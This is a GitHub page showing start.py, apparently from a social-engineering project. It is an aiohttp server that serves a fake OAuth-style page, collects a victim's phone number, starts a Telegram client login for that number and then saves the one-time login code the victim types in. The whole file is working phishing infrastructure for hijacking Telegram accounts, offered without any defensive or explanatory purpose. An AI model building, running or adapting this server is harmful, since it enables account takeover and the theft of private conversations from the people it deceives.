-
Notifications
You must be signed in to change notification settings - Fork 6
/
start.py
96 lines (64 loc) · 2.71 KB
/
start.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
__author__ = "rewiaca"
__copyright__ = "Copyright 2020, Email Social Engineering"
__credits__ = ["rewiaca", "", "",]
__license__ = "GPL"
__version__ = "1.0"
__maintainer__ = "rewiaca"
__status__ = "Dev"
import os, asyncio, subprocess, shlex, time, pytz, datetime, traceback
from aiohttp import web
from database import collection
from wlog import wlog
async def root(request):
f = open('templates/oauth/index.html', 'r')
template = f.read()
f.close()
return web.Response(text=template, content_type='text/html')
async def post(request):
response = ''
code = False
phone = False
try:
data = await request.post()
phone = data.get('phone')
code = data.get('code')
except Exception as e:
pass
if code and phone:
wlog('WEB: Sent code: '+code+' for phone: '+phone)
try:
document_code = {'datetime': datetime.datetime.now(), 'code': code, 'used': 0}
if await collection.count_documents({"phone": phone}) == 0:
document = {'phone': phone}
document['codes'] = [document_code]
await collection.insert_one(document)
else:
item = await collection.find_one({'phone': phone})
await collection.update_one({"_id": item['_id']}, {'$push': {"codes": document_code}})
except Exception as e:
wlog(traceback.print_exc())
response += 'Code ' + code +' saved'
return web.Response(text=response, content_type='text/html')
elif phone and not code:
wlog('WEB: Sent phone: '+phone)
cmd = ["python3", "client.py", phone]
process = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
wlog('AUTH: Started Telegram Client with command: ' + str(cmd) + ' and waiting for code')
result = process.communicate()[0].decode()
wlog('AUTH: Got response from client')
wlog(result, date=False)
return web.Response(text=result, content_type='text/html')
routes = web.RouteTableDef()
app = web.Application()
app.add_routes([web.get('/', root),
web.post('/post', post),
])
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description="aiohttp server")
parser.add_argument('--path')
parser.add_argument('--port')
parser.add_argument('--host')
args = parser.parse_args()
web.run_app(app, path=args.path, host=args.host, port=args.port)
#web.run_app(app, host='localhost', port='80')